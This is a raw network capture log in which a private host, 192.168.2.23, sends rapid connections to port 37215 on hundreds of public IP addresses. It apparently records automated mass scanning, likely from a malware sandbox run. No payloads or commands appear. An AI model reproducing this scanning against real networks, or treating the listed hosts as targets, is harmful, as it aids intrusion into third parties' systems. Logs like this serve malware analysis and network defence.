Dec 30, 2023 07:14:07.441888094 CET	3641	37215	192.168.2.23	190.11.31.114
Dec 30, 2023 07:14:07.441889048 CET	3641	37215	192.168.2.23	197.57.94.101
Dec 30, 2023 07:14:07.441894054 CET	3641	37215	192.168.2.23	41.232.24.124
Dec 30, 2023 07:14:07.441903114 CET	3641	37215	192.168.2.23	41.57.29.215
Dec 30, 2023 07:14:07.441905022 CET	3641	37215	192.168.2.23	197.124.125.111
Dec 30, 2023 07:14:07.441907883 CET	3641	37215	192.168.2.23	41.23.169.41
Dec 30, 2023 07:14:07.441909075 CET	3641	37215	192.168.2.23	156.208.251.192
Dec 30, 2023 07:14:07.441927910 CET	3641	37215	192.168.2.23	197.133.179.120
Dec 30, 2023 07:14:07.441927910 CET	3641	37215	192.168.2.23	41.88.166.30
Dec 30, 2023 07:14:07.441936016 CET	3641	37215	192.168.2.23	157.167.156.216
Dec 30, 2023 07:14:07.441948891 CET	3641	37215	192.168.2.23	41.229.212.197
Dec 30, 2023 07:14:07.441948891 CET	3641	37215	192.168.2.23	197.247.222.177
Dec 30, 2023 07:14:07.441953897 CET	3641	37215	192.168.2.23	41.111.32.63
Dec 30, 2023 07:14:07.441967964 CET	3641	37215	192.168.2.23	160.72.206.73
Dec 30, 2023 07:14:07.441970110 CET	3641	37215	192.168.2.23	181.191.182.34
Dec 30, 2023 07:14:07.441970110 CET	3641	37215	192.168.2.23	197.180.11.149
Dec 30, 2023 07:14:07.441970110 CET	3641	37215	192.168.2.23	156.205.24.81
Dec 30, 2023 07:14:07.441970110 CET	3641	37215	192.168.2.23	41.200.101.168
Dec 30, 2023 07:14:07.441975117 CET	3641	37215	192.168.2.23	41.8.8.48
Dec 30, 2023 07:14:07.441986084 CET	3641	37215	192.168.2.23	138.255.169.247
Dec 30, 2023 07:14:07.441987038 CET	3641	37215	192.168.2.23	156.181.32.234
Dec 30, 2023 07:14:07.441989899 CET	3641	37215	192.168.2.23	41.80.13.200
Dec 30, 2023 07:14:07.441992998 CET	3641	37215	192.168.2.23	41.164.50.78
Dec 30, 2023 07:14:07.442004919 CET	3641	37215	192.168.2.23	41.207.120.27
Dec 30, 2023 07:14:07.442014933 CET	3641	37215	192.168.2.23	181.179.173.153
Dec 30, 2023 07:14:07.442019939 CET	3641	37215	192.168.2.23	181.130.102.220
Dec 30, 2023 07:14:07.442019939 CET	3641	37215	192.168.2.23	222.181.202.3
Dec 30, 2023 07:14:07.442019939 CET	3641	37215	192.168.2.23	156.133.118.27
Dec 30, 2023 07:14:07.442019939 CET	3641	37215	192.168.2.23	222.192.235.198
Dec 30, 2023 07:14:07.442019939 CET	3641	37215	192.168.2.23	156.255.21.76
Dec 30, 2023 07:14:07.442020893 CET	3641	37215	192.168.2.23	138.55.33.211
Dec 30, 2023 07:14:07.442027092 CET	3641	37215	192.168.2.23	156.39.95.82
Dec 30, 2023 07:14:07.442049980 CET	3641	37215	192.168.2.23	222.92.189.102
Dec 30, 2023 07:14:07.442054033 CET	3641	37215	192.168.2.23	197.70.162.7
Dec 30, 2023 07:14:07.442055941 CET	3641	37215	192.168.2.23	196.28.177.12
Dec 30, 2023 07:14:07.442055941 CET	3641	37215	192.168.2.23	181.156.90.121
Dec 30, 2023 07:14:07.442055941 CET	3641	37215	192.168.2.23	156.63.54.243
Dec 30, 2023 07:14:07.442058086 CET	3641	37215	192.168.2.23	41.190.112.225
Dec 30, 2023 07:14:07.442058086 CET	3641	37215	192.168.2.23	156.38.220.248
Dec 30, 2023 07:14:07.442058086 CET	3641	37215	192.168.2.23	197.136.187.40
Dec 30, 2023 07:14:07.442058086 CET	3641	37215	192.168.2.23	122.185.215.186
Dec 30, 2023 07:14:07.442059040 CET	3641	37215	192.168.2.23	197.212.173.98
Dec 30, 2023 07:14:07.442058086 CET	3641	37215	192.168.2.23	196.184.148.161
Dec 30, 2023 07:14:07.442059040 CET	3641	37215	192.168.2.23	197.46.157.69
Dec 30, 2023 07:14:07.442059040 CET	3641	37215	192.168.2.23	197.136.107.126
Dec 30, 2023 07:14:07.442064047 CET	3641	37215	192.168.2.23	160.232.51.206
Dec 30, 2023 07:14:07.442065954 CET	3641	37215	192.168.2.23	41.80.252.88
Dec 30, 2023 07:14:07.442065954 CET	3641	37215	192.168.2.23	186.83.68.231
Dec 30, 2023 07:14:07.442073107 CET	3641	37215	192.168.2.23	197.218.73.205
Dec 30, 2023 07:14:07.442079067 CET	3641	37215	192.168.2.23	156.185.141.242
Dec 30, 2023 07:14:07.442084074 CET	3641	37215	192.168.2.23	197.185.191.185
Dec 30, 2023 07:14:07.442090034 CET	3641	37215	192.168.2.23	197.237.132.23
Dec 30, 2023 07:14:07.442101002 CET	3641	37215	192.168.2.23	156.206.175.53
Dec 30, 2023 07:14:07.442101955 CET	3641	37215	192.168.2.23	197.10.216.85
Dec 30, 2023 07:14:07.442101955 CET	3641	37215	192.168.2.23	120.221.248.10
Dec 30, 2023 07:14:07.442104101 CET	3641	37215	192.168.2.23	197.138.97.243
Dec 30, 2023 07:14:07.442104101 CET	3641	37215	192.168.2.23	37.152.104.17
Dec 30, 2023 07:14:07.442105055 CET	3641	37215	192.168.2.23	197.13.25.144
Dec 30, 2023 07:14:07.442105055 CET	3641	37215	192.168.2.23	41.50.157.68
Dec 30, 2023 07:14:07.442111969 CET	3641	37215	192.168.2.23	160.29.38.136
Dec 30, 2023 07:14:07.442112923 CET	3641	37215	192.168.2.23	156.34.238.254
Dec 30, 2023 07:14:07.442115068 CET	3641	37215	192.168.2.23	197.238.198.80
Dec 30, 2023 07:14:07.442123890 CET	3641	37215	192.168.2.23	181.82.68.250
Dec 30, 2023 07:14:07.442126989 CET	3641	37215	192.168.2.23	121.166.142.144
Dec 30, 2023 07:14:07.442126989 CET	3641	37215	192.168.2.23	41.91.44.122
Dec 30, 2023 07:14:07.442152023 CET	3641	37215	192.168.2.23	156.254.235.182
Dec 30, 2023 07:14:07.442153931 CET	3641	37215	192.168.2.23	156.61.231.226
Dec 30, 2023 07:14:07.442154884 CET	3641	37215	192.168.2.23	197.246.234.43
Dec 30, 2023 07:14:07.442154884 CET	3641	37215	192.168.2.23	197.139.33.113
Dec 30, 2023 07:14:07.442156076 CET	3641	37215	192.168.2.23	186.162.54.126
Dec 30, 2023 07:14:07.442157030 CET	3641	37215	192.168.2.23	107.227.73.23
Dec 30, 2023 07:14:07.442159891 CET	3641	37215	192.168.2.23	107.54.108.211
Dec 30, 2023 07:14:07.442169905 CET	3641	37215	192.168.2.23	41.143.230.155
Dec 30, 2023 07:14:07.442169905 CET	3641	37215	192.168.2.23	197.79.104.7
Dec 30, 2023 07:14:07.442169905 CET	3641	37215	192.168.2.23	95.184.8.239
Dec 30, 2023 07:14:07.442169905 CET	3641	37215	192.168.2.23	156.106.115.203
Dec 30, 2023 07:14:07.442172050 CET	3641	37215	192.168.2.23	45.208.52.221
Dec 30, 2023 07:14:07.442174911 CET	3641	37215	192.168.2.23	197.184.9.145
Dec 30, 2023 07:14:07.442172050 CET	3641	37215	192.168.2.23	156.70.184.64
Dec 30, 2023 07:14:07.442174911 CET	3641	37215	192.168.2.23	154.160.195.237
Dec 30, 2023 07:14:07.442172050 CET	3641	37215	192.168.2.23	41.72.181.190
Dec 30, 2023 07:14:07.442176104 CET	3641	37215	192.168.2.23	41.165.58.222
Dec 30, 2023 07:14:07.442176104 CET	3641	37215	192.168.2.23	92.204.108.156
Dec 30, 2023 07:14:07.442179918 CET	3641	37215	192.168.2.23	94.131.144.2
Dec 30, 2023 07:14:07.442176104 CET	3641	37215	192.168.2.23	94.227.250.195
Dec 30, 2023 07:14:07.442181110 CET	3641	37215	192.168.2.23	186.242.135.206
Dec 30, 2023 07:14:07.442179918 CET	3641	37215	192.168.2.23	120.7.196.184
Dec 30, 2023 07:14:07.442181110 CET	3641	37215	192.168.2.23	37.38.164.66
Dec 30, 2023 07:14:07.442174911 CET	3641	37215	192.168.2.23	156.208.84.87
Dec 30, 2023 07:14:07.442179918 CET	3641	37215	192.168.2.23	154.132.77.197
Dec 30, 2023 07:14:07.442186117 CET	3641	37215	192.168.2.23	197.163.109.111
Dec 30, 2023 07:14:07.442186117 CET	3641	37215	192.168.2.23	41.26.3.69
Dec 30, 2023 07:14:07.442186117 CET	3641	37215	192.168.2.23	41.71.19.141
Dec 30, 2023 07:14:07.442200899 CET	3641	37215	192.168.2.23	156.89.134.250
Dec 30, 2023 07:14:07.442214012 CET	3641	37215	192.168.2.23	156.89.80.180
Dec 30, 2023 07:14:07.442215919 CET	3641	37215	192.168.2.23	107.54.193.112
Dec 30, 2023 07:14:07.442219973 CET	3641	37215	192.168.2.23	41.217.194.134
Dec 30, 2023 07:14:07.442219973 CET	3641	37215	192.168.2.23	197.222.47.210
Dec 30, 2023 07:14:07.442220926 CET	3641	37215	192.168.2.23	41.243.114.130
Dec 30, 2023 07:14:07.442220926 CET	3641	37215	192.168.2.23	156.234.4.122
Dec 30, 2023 07:14:07.442226887 CET	3641	37215	192.168.2.23	156.241.128.101
Dec 30, 2023 07:14:07.442234993 CET	3641	37215	192.168.2.23	156.217.96.159
Dec 30, 2023 07:14:07.442239046 CET	3641	37215	192.168.2.23	197.136.72.141
Dec 30, 2023 07:14:07.442239046 CET	3641	37215	192.168.2.23	197.89.92.81
Dec 30, 2023 07:14:07.442240000 CET	3641	37215	192.168.2.23	156.140.186.89
Dec 30, 2023 07:14:07.442245007 CET	3641	37215	192.168.2.23	156.143.159.250
Dec 30, 2023 07:14:07.442245007 CET	3641	37215	192.168.2.23	197.175.234.30
Dec 30, 2023 07:14:07.442262888 CET	3641	37215	192.168.2.23	156.132.0.47
Dec 30, 2023 07:14:07.442262888 CET	3641	37215	192.168.2.23	197.191.200.42
Dec 30, 2023 07:14:07.442266941 CET	3641	37215	192.168.2.23	95.250.166.49
Dec 30, 2023 07:14:07.442266941 CET	3641	37215	192.168.2.23	138.35.206.72
Dec 30, 2023 07:14:07.442266941 CET	3641	37215	192.168.2.23	197.104.161.228
Dec 30, 2023 07:14:07.442267895 CET	3641	37215	192.168.2.23	160.44.151.10
Dec 30, 2023 07:14:07.442266941 CET	3641	37215	192.168.2.23	41.194.188.101
Dec 30, 2023 07:14:07.442267895 CET	3641	37215	192.168.2.23	197.212.151.122
Dec 30, 2023 07:14:07.442276001 CET	3641	37215	192.168.2.23	92.199.90.163
Dec 30, 2023 07:14:07.442284107 CET	3641	37215	192.168.2.23	190.98.186.28
Dec 30, 2023 07:14:07.442286015 CET	3641	37215	192.168.2.23	156.185.149.219
Dec 30, 2023 07:14:07.442286968 CET	3641	37215	192.168.2.23	181.229.81.105
Dec 30, 2023 07:14:07.442290068 CET	3641	37215	192.168.2.23	157.87.217.27
Dec 30, 2023 07:14:07.442303896 CET	3641	37215	192.168.2.23	222.101.92.84
Dec 30, 2023 07:14:07.442303896 CET	3641	37215	192.168.2.23	41.38.77.209
Dec 30, 2023 07:14:07.442310095 CET	3641	37215	192.168.2.23	181.121.229.114
Dec 30, 2023 07:14:07.442317963 CET	3641	37215	192.168.2.23	41.194.236.74
Dec 30, 2023 07:14:07.442318916 CET	3641	37215	192.168.2.23	197.88.204.138
Dec 30, 2023 07:14:07.442327023 CET	3641	37215	192.168.2.23	181.18.164.33
Dec 30, 2023 07:14:07.442327023 CET	3641	37215	192.168.2.23	196.166.224.204
Dec 30, 2023 07:14:07.442334890 CET	3641	37215	192.168.2.23	156.100.200.42
Dec 30, 2023 07:14:07.442349911 CET	3641	37215	192.168.2.23	41.148.150.230
Dec 30, 2023 07:14:07.442349911 CET	3641	37215	192.168.2.23	107.152.251.21
Dec 30, 2023 07:14:07.442356110 CET	3641	37215	192.168.2.23	197.219.140.20
Dec 30, 2023 07:14:07.442356110 CET	3641	37215	192.168.2.23	156.79.238.201
Dec 30, 2023 07:14:07.442357063 CET	3641	37215	192.168.2.23	102.115.203.171
Dec 30, 2023 07:14:07.442363024 CET	3641	37215	192.168.2.23	41.170.18.87
Dec 30, 2023 07:14:07.442370892 CET	3641	37215	192.168.2.23	41.69.149.62
Dec 30, 2023 07:14:07.442383051 CET	3641	37215	192.168.2.23	156.144.235.26
Dec 30, 2023 07:14:07.442383051 CET	3641	37215	192.168.2.23	154.78.22.50
Dec 30, 2023 07:14:07.442384005 CET	3641	37215	192.168.2.23	156.51.21.51
Dec 30, 2023 07:14:07.442388058 CET	3641	37215	192.168.2.23	156.146.29.139
Dec 30, 2023 07:14:07.442397118 CET	3641	37215	192.168.2.23	190.136.11.15
Dec 30, 2023 07:14:07.442406893 CET	3641	37215	192.168.2.23	45.224.76.115
Dec 30, 2023 07:14:07.442409039 CET	3641	37215	192.168.2.23	197.121.167.87
Dec 30, 2023 07:14:07.442409039 CET	3641	37215	192.168.2.23	41.204.106.51
Dec 30, 2023 07:14:07.442411900 CET	3641	37215	192.168.2.23	156.221.78.39
Dec 30, 2023 07:14:07.442424059 CET	3641	37215	192.168.2.23	41.106.200.244
Dec 30, 2023 07:14:07.442424059 CET	3641	37215	192.168.2.23	197.198.154.77
Dec 30, 2023 07:14:07.442433119 CET	3641	37215	192.168.2.23	160.91.253.107
Dec 30, 2023 07:14:07.442441940 CET	3641	37215	192.168.2.23	196.104.254.244
Dec 30, 2023 07:14:07.442446947 CET	3641	37215	192.168.2.23	197.47.40.25
Dec 30, 2023 07:14:07.442447901 CET	3641	37215	192.168.2.23	95.213.123.224
Dec 30, 2023 07:14:07.442456007 CET	3641	37215	192.168.2.23	197.16.255.29
Dec 30, 2023 07:14:07.442464113 CET	3641	37215	192.168.2.23	156.40.225.77
Dec 30, 2023 07:14:07.442466974 CET	3641	37215	192.168.2.23	41.182.60.141
Dec 30, 2023 07:14:07.442472935 CET	3641	37215	192.168.2.23	156.221.226.181
Dec 30, 2023 07:14:07.442476988 CET	3641	37215	192.168.2.23	41.76.88.138
Dec 30, 2023 07:14:07.442490101 CET	3641	37215	192.168.2.23	197.187.234.191
Dec 30, 2023 07:14:07.442492962 CET	3641	37215	192.168.2.23	156.125.196.2
Dec 30, 2023 07:14:07.442495108 CET	3641	37215	192.168.2.23	41.94.158.154
Dec 30, 2023 07:14:07.442495108 CET	3641	37215	192.168.2.23	197.121.24.18
Dec 30, 2023 07:14:07.442498922 CET	3641	37215	192.168.2.23	41.249.229.190
Dec 30, 2023 07:14:07.442501068 CET	3641	37215	192.168.2.23	41.181.70.254
Dec 30, 2023 07:14:07.442517042 CET	3641	37215	192.168.2.23	41.107.254.97
Dec 30, 2023 07:14:07.442517042 CET	3641	37215	192.168.2.23	156.148.68.249
Dec 30, 2023 07:14:07.442519903 CET	3641	37215	192.168.2.23	197.124.168.187
Dec 30, 2023 07:14:07.442523956 CET	3641	37215	192.168.2.23	197.109.40.216
Dec 30, 2023 07:14:07.442527056 CET	3641	37215	192.168.2.23	197.0.127.228
Dec 30, 2023 07:14:07.442528009 CET	3641	37215	192.168.2.23	94.99.185.160
Dec 30, 2023 07:14:07.442540884 CET	3641	37215	192.168.2.23	186.136.255.21
Dec 30, 2023 07:14:07.442548990 CET	3641	37215	192.168.2.23	222.14.13.175
Dec 30, 2023 07:14:07.442552090 CET	3641	37215	192.168.2.23	41.143.82.70
Dec 30, 2023 07:14:07.442554951 CET	3641	37215	192.168.2.23	41.58.113.86
Dec 30, 2023 07:14:07.442563057 CET	3641	37215	192.168.2.23	102.182.7.154
Dec 30, 2023 07:14:07.442567110 CET	3641	37215	192.168.2.23	41.84.104.24
Dec 30, 2023 07:14:07.442574024 CET	3641	37215	192.168.2.23	186.4.232.207
Dec 30, 2023 07:14:07.442574024 CET	3641	37215	192.168.2.23	197.120.15.58
Dec 30, 2023 07:14:07.442576885 CET	3641	37215	192.168.2.23	156.227.15.4
Dec 30, 2023 07:14:07.442579985 CET	3641	37215	192.168.2.23	92.171.223.87
Dec 30, 2023 07:14:07.442580938 CET	3641	37215	192.168.2.23	197.105.78.197
Dec 30, 2023 07:14:07.442585945 CET	3641	37215	192.168.2.23	197.94.114.249
Dec 30, 2023 07:14:07.442598104 CET	3641	37215	192.168.2.23	156.214.122.208
Dec 30, 2023 07:14:07.442600012 CET	3641	37215	192.168.2.23	107.210.141.95
Dec 30, 2023 07:14:07.442610979 CET	3641	37215	192.168.2.23	107.152.54.236
Dec 30, 2023 07:14:07.442610979 CET	3641	37215	192.168.2.23	41.3.23.147
Dec 30, 2023 07:14:07.442617893 CET	3641	37215	192.168.2.23	41.210.5.93
Dec 30, 2023 07:14:07.442625046 CET	3641	37215	192.168.2.23	41.244.1.17
Dec 30, 2023 07:14:07.442625999 CET	3641	37215	192.168.2.23	156.200.245.137
Dec 30, 2023 07:14:07.442626953 CET	3641	37215	192.168.2.23	190.216.97.133
Dec 30, 2023 07:14:07.442629099 CET	3641	37215	192.168.2.23	197.26.28.89
Dec 30, 2023 07:14:07.442630053 CET	3641	37215	192.168.2.23	197.121.228.56
Dec 30, 2023 07:14:07.442636013 CET	3641	37215	192.168.2.23	197.190.207.221
Dec 30, 2023 07:14:07.442646980 CET	3641	37215	192.168.2.23	197.126.166.171
Dec 30, 2023 07:14:07.442656040 CET	3641	37215	192.168.2.23	156.114.96.195
Dec 30, 2023 07:14:07.442663908 CET	3641	37215	192.168.2.23	197.203.78.58
Dec 30, 2023 07:14:07.442665100 CET	3641	37215	192.168.2.23	41.139.192.33
Dec 30, 2023 07:14:07.442665100 CET	3641	37215	192.168.2.23	138.93.234.79
Dec 30, 2023 07:14:07.442665100 CET	3641	37215	192.168.2.23	41.117.38.173
Dec 30, 2023 07:14:07.442672014 CET	3641	37215	192.168.2.23	122.91.54.1
Dec 30, 2023 07:14:07.442672014 CET	3641	37215	192.168.2.23	197.44.228.211
Dec 30, 2023 07:14:07.442672968 CET	3641	37215	192.168.2.23	156.124.67.197
Dec 30, 2023 07:14:07.442676067 CET	3641	37215	192.168.2.23	156.163.45.54
Dec 30, 2023 07:14:07.442676067 CET	3641	37215	192.168.2.23	45.169.12.54
Dec 30, 2023 07:14:07.442682981 CET	3641	37215	192.168.2.23	197.59.105.75
Dec 30, 2023 07:14:07.442686081 CET	3641	37215	192.168.2.23	37.109.132.13
Dec 30, 2023 07:14:07.442687035 CET	3641	37215	192.168.2.23	41.153.202.97
Dec 30, 2023 07:14:07.442699909 CET	3641	37215	192.168.2.23	197.153.35.172
Dec 30, 2023 07:14:07.442707062 CET	3641	37215	192.168.2.23	197.4.232.169
Dec 30, 2023 07:14:07.442707062 CET	3641	37215	192.168.2.23	197.107.184.127
Dec 30, 2023 07:14:07.442722082 CET	3641	37215	192.168.2.23	102.104.158.14
Dec 30, 2023 07:14:07.442727089 CET	3641	37215	192.168.2.23	41.160.166.74
Dec 30, 2023 07:14:07.442727089 CET	3641	37215	192.168.2.23	156.37.68.188
Dec 30, 2023 07:14:07.442727089 CET	3641	37215	192.168.2.23	41.202.192.163
Dec 30, 2023 07:14:07.442730904 CET	3641	37215	192.168.2.23	41.87.31.47
Dec 30, 2023 07:14:07.442739964 CET	3641	37215	192.168.2.23	197.228.1.11
Dec 30, 2023 07:14:07.442747116 CET	3641	37215	192.168.2.23	41.85.98.78
Dec 30, 2023 07:14:07.442747116 CET	3641	37215	192.168.2.23	121.170.174.227
Dec 30, 2023 07:14:07.442749977 CET	3641	37215	192.168.2.23	181.69.149.135
Dec 30, 2023 07:14:07.442749977 CET	3641	37215	192.168.2.23	197.132.226.12
Dec 30, 2023 07:14:07.442751884 CET	3641	37215	192.168.2.23	197.188.26.148
Dec 30, 2023 07:14:07.442751884 CET	3641	37215	192.168.2.23	45.182.71.195
Dec 30, 2023 07:14:07.442764044 CET	3641	37215	192.168.2.23	156.35.250.52
Dec 30, 2023 07:14:07.442764044 CET	3641	37215	192.168.2.23	222.193.33.208
Dec 30, 2023 07:14:07.442766905 CET	3641	37215	192.168.2.23	156.191.88.59
Dec 30, 2023 07:14:07.442766905 CET	3641	37215	192.168.2.23	41.118.180.145
Dec 30, 2023 07:14:07.442768097 CET	3641	37215	192.168.2.23	156.181.132.27
Dec 30, 2023 07:14:07.442766905 CET	3641	37215	192.168.2.23	41.246.79.102
Dec 30, 2023 07:14:07.442768097 CET	3641	37215	192.168.2.23	41.155.14.18
Dec 30, 2023 07:14:07.442776918 CET	3641	37215	192.168.2.23	41.193.78.252
Dec 30, 2023 07:14:07.442784071 CET	3641	37215	192.168.2.23	156.127.1.179
Dec 30, 2023 07:14:07.442786932 CET	3641	37215	192.168.2.23	197.88.154.150
Dec 30, 2023 07:14:07.442787886 CET	3641	37215	192.168.2.23	41.59.203.102
Dec 30, 2023 07:14:07.442790031 CET	3641	37215	192.168.2.23	197.104.16.112
Dec 30, 2023 07:14:07.442810059 CET	3641	37215	192.168.2.23	121.93.216.229
Dec 30, 2023 07:14:07.442810059 CET	3641	37215	192.168.2.23	156.89.81.167
Dec 30, 2023 07:14:07.442814112 CET	3641	37215	192.168.2.23	197.70.169.82
Dec 30, 2023 07:14:07.442822933 CET	3641	37215	192.168.2.23	197.194.64.107
Dec 30, 2023 07:14:07.442822933 CET	3641	37215	192.168.2.23	107.6.98.225
Dec 30, 2023 07:14:07.442822933 CET	3641	37215	192.168.2.23	197.136.255.152
Dec 30, 2023 07:14:07.442825079 CET	3641	37215	192.168.2.23	122.204.156.127
Dec 30, 2023 07:14:07.442825079 CET	3641	37215	192.168.2.23	197.6.247.55
Dec 30, 2023 07:14:07.442944050 CET	44392	37215	192.168.2.23	156.73.246.171
Dec 30, 2023 07:14:07.442955017 CET	57784	37215	192.168.2.23	156.73.147.174
Dec 30, 2023 07:14:07.595877886 CET	37215	3641	156.70.184.64	192.168.2.23
Dec 30, 2023 07:14:07.659413099 CET	37215	3641	196.79.161.119	192.168.2.23
Dec 30, 2023 07:14:07.659475088 CET	3641	37215	192.168.2.23	196.79.161.119
Dec 30, 2023 07:14:07.660161018 CET	37215	3641	196.79.161.119	192.168.2.23
Dec 30, 2023 07:14:07.721338987 CET	37215	3641	95.14.173.17	192.168.2.23
Dec 30, 2023 07:14:07.726334095 CET	37215	3641	160.29.38.136	192.168.2.23
Dec 30, 2023 07:14:07.735097885 CET	37215	3641	197.4.232.169	192.168.2.23
Dec 30, 2023 07:14:07.752432108 CET	37215	3641	121.166.142.144	192.168.2.23
Dec 30, 2023 07:14:07.756377935 CET	37215	3641	196.184.148.161	192.168.2.23
Dec 30, 2023 07:14:07.812046051 CET	37215	3641	197.6.247.55	192.168.2.23
Dec 30, 2023 07:14:08.039486885 CET	34874	37215	192.168.2.23	154.38.240.187
Dec 30, 2023 07:14:08.231457949 CET	56300	37215	192.168.2.23	156.73.86.240
Dec 30, 2023 07:14:08.443922997 CET	3641	37215	192.168.2.23	41.10.72.166
Dec 30, 2023 07:14:08.443937063 CET	3641	37215	192.168.2.23	186.33.153.68
Dec 30, 2023 07:14:08.443941116 CET	3641	37215	192.168.2.23	102.22.92.196
Dec 30, 2023 07:14:08.443939924 CET	3641	37215	192.168.2.23	156.165.92.71
Dec 30, 2023 07:14:08.443958044 CET	3641	37215	192.168.2.23	197.164.230.134
Dec 30, 2023 07:14:08.443959951 CET	3641	37215	192.168.2.23	156.97.30.92
Dec 30, 2023 07:14:08.443960905 CET	3641	37215	192.168.2.23	186.149.135.44
Dec 30, 2023 07:14:08.443979025 CET	3641	37215	192.168.2.23	41.156.114.148
Dec 30, 2023 07:14:08.443979025 CET	3641	37215	192.168.2.23	120.7.71.182
Dec 30, 2023 07:14:08.443984985 CET	3641	37215	192.168.2.23	197.218.36.241
Dec 30, 2023 07:14:08.443990946 CET	3641	37215	192.168.2.23	41.136.245.115
Dec 30, 2023 07:14:08.444003105 CET	3641	37215	192.168.2.23	41.233.144.67
Dec 30, 2023 07:14:08.444004059 CET	3641	37215	192.168.2.23	41.222.233.144
Dec 30, 2023 07:14:08.444011927 CET	3641	37215	192.168.2.23	138.179.161.22
Dec 30, 2023 07:14:08.444015980 CET	3641	37215	192.168.2.23	120.140.155.223
Dec 30, 2023 07:14:08.444015980 CET	3641	37215	192.168.2.23	41.60.120.52
Dec 30, 2023 07:14:08.444020987 CET	3641	37215	192.168.2.23	41.199.166.191
Dec 30, 2023 07:14:08.444025993 CET	3641	37215	192.168.2.23	94.66.198.129
Dec 30, 2023 07:14:08.444026947 CET	3641	37215	192.168.2.23	156.207.203.108
Dec 30, 2023 07:14:08.444041967 CET	3641	37215	192.168.2.23	197.59.23.143
Dec 30, 2023 07:14:08.444051981 CET	3641	37215	192.168.2.23	156.5.160.38
Dec 30, 2023 07:14:08.444061041 CET	3641	37215	192.168.2.23	41.90.181.36
Dec 30, 2023 07:14:08.444062948 CET	3641	37215	192.168.2.23	41.200.179.234
Dec 30, 2023 07:14:08.444068909 CET	3641	37215	192.168.2.23	41.59.26.198
Dec 30, 2023 07:14:08.444080114 CET	3641	37215	192.168.2.23	94.253.96.26
Dec 30, 2023 07:14:08.444080114 CET	3641	37215	192.168.2.23	197.170.29.96
Dec 30, 2023 07:14:08.444096088 CET	3641	37215	192.168.2.23	156.209.97.236
Dec 30, 2023 07:14:08.444097996 CET	3641	37215	192.168.2.23	41.15.95.100
Dec 30, 2023 07:14:08.444113016 CET	3641	37215	192.168.2.23	222.156.45.119
Dec 30, 2023 07:14:08.444117069 CET	3641	37215	192.168.2.23	156.8.93.2
Dec 30, 2023 07:14:08.444118023 CET	3641	37215	192.168.2.23	41.23.7.157
Dec 30, 2023 07:14:08.444122076 CET	3641	37215	192.168.2.23	156.117.202.60
Dec 30, 2023 07:14:08.444127083 CET	3641	37215	192.168.2.23	197.127.69.221
Dec 30, 2023 07:14:08.444130898 CET	3641	37215	192.168.2.23	196.234.119.138
Dec 30, 2023 07:14:08.444144964 CET	3641	37215	192.168.2.23	41.31.58.237
Dec 30, 2023 07:14:08.444149017 CET	3641	37215	192.168.2.23	122.91.56.155
Dec 30, 2023 07:14:08.444152117 CET	3641	37215	192.168.2.23	41.24.99.40
Dec 30, 2023 07:14:08.444163084 CET	3641	37215	192.168.2.23	122.211.240.27
Dec 30, 2023 07:14:08.444165945 CET	3641	37215	192.168.2.23	41.191.108.112
Dec 30, 2023 07:14:08.444165945 CET	3641	37215	192.168.2.23	156.23.249.223
Dec 30, 2023 07:14:08.444183111 CET	3641	37215	192.168.2.23	197.206.183.19
Dec 30, 2023 07:14:08.444190979 CET	3641	37215	192.168.2.23	41.18.118.4
Dec 30, 2023 07:14:08.444192886 CET	3641	37215	192.168.2.23	94.80.241.165
Dec 30, 2023 07:14:08.444194078 CET	3641	37215	192.168.2.23	121.70.53.226
Dec 30, 2023 07:14:08.444200993 CET	3641	37215	192.168.2.23	41.188.195.157
Dec 30, 2023 07:14:08.444204092 CET	3641	37215	192.168.2.23	197.18.212.13
Dec 30, 2023 07:14:08.444216967 CET	3641	37215	192.168.2.23	156.163.208.154
Dec 30, 2023 07:14:08.444226980 CET	3641	37215	192.168.2.23	92.28.149.135
Dec 30, 2023 07:14:08.444226980 CET	3641	37215	192.168.2.23	197.4.164.154
Dec 30, 2023 07:14:08.444233894 CET	3641	37215	192.168.2.23	41.252.57.38
Dec 30, 2023 07:14:08.444236040 CET	3641	37215	192.168.2.23	41.156.207.202
Dec 30, 2023 07:14:08.444236040 CET	3641	37215	192.168.2.23	181.76.53.125
Dec 30, 2023 07:14:08.444245100 CET	3641	37215	192.168.2.23	197.130.197.75
Dec 30, 2023 07:14:08.444252968 CET	3641	37215	192.168.2.23	156.74.251.113
Dec 30, 2023 07:14:08.444252968 CET	3641	37215	192.168.2.23	156.184.179.100
Dec 30, 2023 07:14:08.444268942 CET	3641	37215	192.168.2.23	197.20.41.65
Dec 30, 2023 07:14:08.444272041 CET	3641	37215	192.168.2.23	41.98.2.138
Dec 30, 2023 07:14:08.444287062 CET	3641	37215	192.168.2.23	156.104.59.182
Dec 30, 2023 07:14:08.444287062 CET	3641	37215	192.168.2.23	156.90.86.236
Dec 30, 2023 07:14:08.444288969 CET	3641	37215	192.168.2.23	222.20.63.177
Dec 30, 2023 07:14:08.444298029 CET	3641	37215	192.168.2.23	157.77.183.44
Dec 30, 2023 07:14:08.444303036 CET	3641	37215	192.168.2.23	156.72.136.23
Dec 30, 2023 07:14:08.444314003 CET	3641	37215	192.168.2.23	156.173.3.144
Dec 30, 2023 07:14:08.444318056 CET	3641	37215	192.168.2.23	41.228.163.148
Dec 30, 2023 07:14:08.444334030 CET	3641	37215	192.168.2.23	156.2.175.236
Dec 30, 2023 07:14:08.444339037 CET	3641	37215	192.168.2.23	120.125.24.99
Dec 30, 2023 07:14:08.444339037 CET	3641	37215	192.168.2.23	138.165.137.125
Dec 30, 2023 07:14:08.444355965 CET	3641	37215	192.168.2.23	37.146.140.199
Dec 30, 2023 07:14:08.444360018 CET	3641	37215	192.168.2.23	41.29.79.130
Dec 30, 2023 07:14:08.444360018 CET	3641	37215	192.168.2.23	154.74.101.189
Dec 30, 2023 07:14:08.444360018 CET	3641	37215	192.168.2.23	95.229.98.79
Dec 30, 2023 07:14:08.444360971 CET	3641	37215	192.168.2.23	160.0.180.175
Dec 30, 2023 07:14:08.444375038 CET	3641	37215	192.168.2.23	156.125.245.127
Dec 30, 2023 07:14:08.444375038 CET	3641	37215	192.168.2.23	41.79.203.202
Dec 30, 2023 07:14:08.444377899 CET	3641	37215	192.168.2.23	92.131.119.89
Dec 30, 2023 07:14:08.444426060 CET	3641	37215	192.168.2.23	41.58.44.198
Dec 30, 2023 07:14:08.444432974 CET	3641	37215	192.168.2.23	156.220.137.6
Dec 30, 2023 07:14:08.444432974 CET	3641	37215	192.168.2.23	95.253.127.24
Dec 30, 2023 07:14:08.444432974 CET	3641	37215	192.168.2.23	156.227.85.81
Dec 30, 2023 07:14:08.444437027 CET	3641	37215	192.168.2.23	156.177.65.10
